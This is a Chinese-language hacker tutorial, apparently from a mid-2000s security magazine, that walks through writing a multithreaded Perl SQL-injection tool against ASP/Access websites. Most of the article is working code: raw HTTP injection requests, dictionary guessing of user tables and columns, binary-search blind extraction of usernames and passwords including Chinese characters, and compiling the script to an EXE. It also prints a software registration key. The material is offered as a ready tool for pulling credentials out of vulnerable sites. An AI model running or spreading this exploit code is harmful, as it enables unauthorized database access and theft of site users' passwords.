說到SQL注入機,從娃娃針對動網文章的dvTxt.pl到臭要飯的絕世猜解CSC、NB同盟NBSI,大家也都用過吧?
開天始祖dvTxt.pl,也不知被改了多少遍,以用於針對各種不同的有SQL注入漏洞的系統,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把這尊大佛抬出來,更改幾個欄位,然後,又一個**專殺工具出土了!對於臭要飯的絕世猜解CSC,我用得已經是忍無可忍了, 雖然採用了多線程技術,但是依然彌補不了演算法低劣的惡劣影響,破解由於採用的是字典,不僅速度慢,同時也限制了對中文這樣的雙位元組字元的破解,而NBSI,破解演算法雖然得到了改進,但是卻忘了多線程,而且在猜解表名、列名時,共用一個大字典,白白浪費掉不少時間。兩個東西拼在一起就好了,可是沒有原代碼阿(可視化開發工具,在下也只會用VB)?! 也不知道老大們是不是用一種語言開發的,就算是同一種,就算是VB,也沒有人誰願意提供原代碼阿,無奈…只好響應主席號召:自己動手,豐衣足食!
程式不過是將手動變為自動,先來痛苦地回憶一下手動注入猜解的過程:1.找到注入點->2.構造SQL查詢語句->3.提交URL->4.根據瀏覽器返回資訊判斷SQL查詢語句正確性->5.修正SQL查詢語句->6.重複3.4.5步N遍,直到得到資料庫儲存的正確資訊。
翻譯成程式語言:1.輸入存在SQL注入漏洞的URL($url)->2.從URL中提取主機($host)、路徑($path)、連接埠($port)->3. 構造SQL查詢語句加入URL($url)->4.用IO::Socket向目標主機提交URL ->5.從返回的頁面中提取查詢邏輯值為真(假)時存在的字元($info),成功則轉入對下一目標值的猜解,失敗則繼續重複3.4.5步。
猜解全域流程圖如下:
使用者資訊表 - > 使用者名稱欄位 - > 密碼欄位 - > ID欄位 - > 最小使用者ID - > 使用者名稱長度- > 密碼長度 - > 使用者名稱 - > 密碼
說得有點簡約,因為這些東西普及得實在厲害,更詳細的內容,大家可以參閱《駭客防線》第5期的SQL注入專題,理論講完了,大家也都情不自禁、心急火燎、磨刀霍霍……
LET’GO!
一. 提取$URL中的主機($host)、路徑($path)、連接埠($port)
還曾記得娃娃的那個dvTxt.pl,還有它那煩瑣的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,蒼天啊!
在使用中,複製粘貼起來極為不便,其實,使用PERL強大的Regex,一卻都可以迎刃而解,先來隨便觀察幾個URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透過現象看本質,規律也就出來了:(http://)主機(:連接埠)/ 路徑 。()內字元出現0或1次。
Regex也就有了:
| 程式碼: |
if($url=~/(////)?(.+?)//(.+)/) { $host=$2; $path='/'.$3; if($host=~/(.+):(.+)/) { $host=$1; $port=$2; } } |
在“$url=~/(////)?(.+?)//(.+)/”中,先要說一說那個?,?匹配0個或1個該字元,所以在輸入連結的時候“http://”可有可無;匹配主機($host)的是(.+?),為什麼不是(.+),因為perl預設的貪婪模式,將儘可能多的匹配至後面的字元(在這裡是‘/’),所以如果不及時限定,對這樣一個URL:http://www.hemon.tk/article/show.asp?id=957 ,$host將匹配至www.hemon.tk/article ,而不是我們想要的 www.hemon.tk 。
二. IO::Socket提交函數
經過剛才的努力,也該是回報的時候了,趕緊用我們提取得到的主機($host)、路徑($path)、連接埠($port)寫好這個提交函數:
| 程式碼: |
sub connect { $req = "GET $path$path1 HTTP/1.0/n". "Host: $host/n". "Referer: $host/n". "Cookie: /n/n"; my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host /n"; print $connection $req; my @res = <$connection>; close $connection; return @res; } |
Connect 子常式將返回資訊儲存在數組@res中;
三. 猜解使用者資訊表
使用SQL查詢語句:0<>(select count(*) from TABLE)
真正的破解開始了,沒有什麼捷徑可走,順次讀取字典裡儲存的表名,然後一個一個的嘗試,一旦成功匹配正確資訊,立即退出while迴圈;字典有兩種,一種是數組,第二是文本字典,PERL指令碼我們將編譯為EXE可執行檔,為了便於今後修改添加新的表名,我使用文本字典檔案:
| 程式碼: |
open (tabInput,"table.txt") or die "can't open file!/n"; while (chomp(my $input=<tabInput>)) { my $sql="0<>(select%20count(*)%20from%20$input)"; $path1 = "%20AND%20$sql"; &url; @res = &connect; if ("@res"=~/$info/) { $table_user=$input; print "the table of userinfo is:$table/n"; last; } } close(tabInput); |
四. 猜解欄位名
使用SQL查詢語句:exists (select COL_NAME from TABLE)
這一步同猜解表名如出一轍,一旦成功擷取表名,我們將兵分三路,直取使用者名稱列($field_user)、密碼列($field_pass)、ID列($field_id),既然是分兵出擊,就不得不使用多線程,PERL中的多線程,呵呵,你還沒有試過吧?
為實現多線程作的第一個準備,編寫猜解子常式(函數),我們依然使用文本字典檔案,在這裡,檔案名稱作為唯一的參數傳入:
| 程式碼: |
sub field_input { my $field; open (fieInput,"$_[0]") or die "can't open file!/n"; while (chomp(my $input=<fieInput>)) { my $sql="exists%20(select%20$input%20from%20$table_User)"; $path1 = "%20AND%20$sql"; my @res = &connect; if ("@res"=~/$info/) { $field=$input; print "/t+-- $field --+"; last; } } close(fieInput); return $field; } |
五.PERL多線程速成
然後,然後當然就是學習PERL的多線程技術!!!也許現在你就開始膽戰心驚,以為這有什麼了不起,呵呵,80/20的瑞士軍刀法則在這裡又是那麼管用,我們僅僅需要學習兩個函數就可以結束我們的速成班:
$thread = threads->create(function, LIST)
以變數名$thread,建立一個子常式/函數(FUNCTION)的一個線程,LIST為子常式/函數的參數,CREATE可替換為NEW。
$thread->join
等待線程運行完畢。一旦結束運行,join()將返回子常式/函數(FUNCTION)的值。
THAT'S ALL!
就這麼簡單?完了?就這麼兩把菜刀就可以幹我們的革命了!!!
詳情參閱ActicePerl的協助文檔:Perl/html/lib/threads.html.
5、4、3、2、1、點火!!!
| 程式碼: |
$thread1 = threads->create("field_Input","field_Username.txt"); $thread2 = threads->create("field_Input","field_Password.txt"); $thread3 = threads->create("field_Input","field_ID.txt"); |
回收返回倉:
| 程式碼: |
$field_Username = $thread1->join(); $field_Password = $thread2->join(); $field_ID = $thread3->join(); |
同時射出三個線程,然後JOIN回來,多麼完美的落地啊,10分!!!
五. 猜數位技巧
即便是多了幾匹馬,馬再多也沒有跑不過火輪車阿,我們來研究一下猜解的技巧,回過頭看看等待我們的任務:最小使用者ID - > 使用者名稱長度- > 密碼長度 - > 使用者名稱 - > 密碼。
ID值是天然的數值,長度是length($field)是數值,一位使用者名稱和密碼的ASCII碼還是數值,都玩過網上的一個猜數位JAVASCRIPT遊戲吧?一個100以內的數,為什麼只給你7次機會去猜?因為2^7=128,換句話說,一個128以內的數,你也只需猜7次,那麼李詠節目裡頭那些幾千上萬塊錢的東西,又要猜幾次呢?2^13=8192, 2^14=16384,你還愁拿不到獎品嗎?!
為了讓大家看清楚一點,猜一個8以內的數,比如是5,步驟如下:
? < 4 N
? < 6 Y 4 + 2
? < 5 N 6 - 1
? = 5
也就用了三次,首先從中值(4)開始,每猜解一次加/減中值的一半(2、1),這些2^n都是固定了的,為了避免CPU的重複計算,可以根據猜解值的範圍,相應預備一個數組,我準備了四個:
| 程式碼: |
@dic1=(128,64,32,16,8,4,2,1); # 最小使用者ID @dic2=(16,8,4,2,1); # 使用者名稱、密碼長度 @dic3=(64,32,16,8,4,2,1); # 英文字元 @dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字元演算法函數如下: sub crack { my(@dic) = @_; my $sql=pop(@dic); my $i=0; my $op=1; my $crack; foreach my $pass(@dic) { print ">"; $i++; $crack+=$op*$pass; $path1 = "%20AND%20$crack<($sql)"; my @res = &connect; if ("@res" =~ /$info/) { $op=1; if($i==@dic) { $crack++; } } else { $op=-1; } } return $crack; } $sql="select%20min($field_ID)%20from%20$table_User"; $id=&crack(@dic1,"$sql"); |
傳遞進構造的SQL注入語句以及相應的數組字典,CRACK!!!
參數為數組時,子程式只將它賦給一個陣列變數,my(@dic)而非my(@dic,$sql) =@_;後者,$sql必然為空白!簡單變數和陣列變數是可以同時傳遞,$sql在此是@dic的最後一個元素。pop(@dic)再刪去列表最後一個元素($sql),並將其作為傳回值,剩下的@dic就是純潔的數字了。
讓我們一鼓作氣,拿下使用者名稱和密碼長度,同時,別忘了使用多線程:
| 程式碼: |
$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id"; my $thread4 = threads->create("crack",@dic2,$sql); $sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id"; my $thread5 = threads->create("crack",@dic2,$sql); $userlen = $thread4->join(); $passlen = $thread5->join(); |
六.最後的戰役-攻破欄位值
使用SQL查詢語句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id
這裡不討論MS-SQL中的猜測,可以說MS-SQL下是不用猜測的,你只要構造的條件足夠的好,可以直接讓對方在報錯的時候將資料內容直接顯示出來。
ACCESS中字元的猜測:首先要判斷ASCII碼值是否大於零,大於,就用@dic3套到CRACK函數裡面,小於就用@dic4了!函數返回數值以後,對於英文字元,有兩種方法:使用nchar($asc)或者pack('C*',$asc);而對於中文字元:開啟計算機,選擇科學型,轉換成十六進位單字,是****,用UltraEdit編輯為*字,哈哈……那就不叫編程了!
首先要用sprintf("%X",$asc)完成計算機的轉換十六進位的工作,(別忘了用Regex提出最後四位,不然一個字前面就要冒出兩個空格)然後再用pack("H*",$str)完成UltraEdit的打包作業:
| 程式碼: |
sub asc { my $asc=$_[0]; my $str; if ($asc<256) { $str = pack('C*',$asc); } else { $asc*=-1; $str = sprintf("%X",$asc); if ($str=~/(.{4})$/i) { $str=$1; } $str = pack("H*",$str); } return $str; } |
萬事俱備,只欠東風,此僅舉猜解密碼值為例,一位密碼啟動一個CRACK子線程:
| 程式碼: |
for (my $locat=1;$locat<=$passlen;$locat++) { $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id"; $path1 = "%20AND%200>($sql)"; my @res = &connect; if ("@res" =~ /$info/) { $sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id"; $password[$locat] = threads->create("crack",@dic4,$sql); } else { $password[$locat] = threads->create("crack",@dic3,$sql); } } |
慢慢等待這些孩子們都一個個衣錦還鄉吧:
| 程式碼: |
for (my $locat=1;$locat<=$passlen;$locat++) { $password[$locat] = $password[$locat]->join(); } |
其它的顯示細節,我就不要意思多說了,趕忙編譯EXE。GO!
六. 編譯perl為EXE
從perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN個最新版本的Perl2Exe for Win32,目前為止是8.40,直接解壓縮,CMD命令列進入解壓後的目錄,為了避免瀏覽煩人的廣告,我們先得註冊一下這個軟體:
| 程式碼: |
D:/hemon/software>perl2exe -register Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software Please enter your registration key, or press enter to cancel |
輸入我的註冊碼:
hemon:hemon:20040709,36713
註冊成功之後顯示:
Registered
同時,程式目錄產生一個名為perl2exe.key的註冊表檔案,可千萬移不得啊!
編譯PL:
| 程式碼: |
D:/hemon/software>perl2exe si.pl Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software Registered to hemon:hemon:20040709, ENT version Converting 'si.pl' to si.exe |
一個多線程的、支援中文破解的PERL版注入器就誕生了!!!
大約能提高一倍的速度,也就是可以節約一半的時間,與我的預期還是有很大出入的。美中不足的是,還真應了“欲速則不達”的古語,我提供了兩個版本(thr.pl/sig.pl),對於那些網速較慢的網站,呵呵……用了你就知道,一般人我不告訴!最好還是改用單線程的,穩定性較好。
不過,代碼在手,我就不怕你會改,增強穩定性什麼的,稍微加上幾個函數,讓它支援PHP+MYSQL,ASP+MSSQL什麼的……
一句話:網聚人的力量!支援開放原代碼!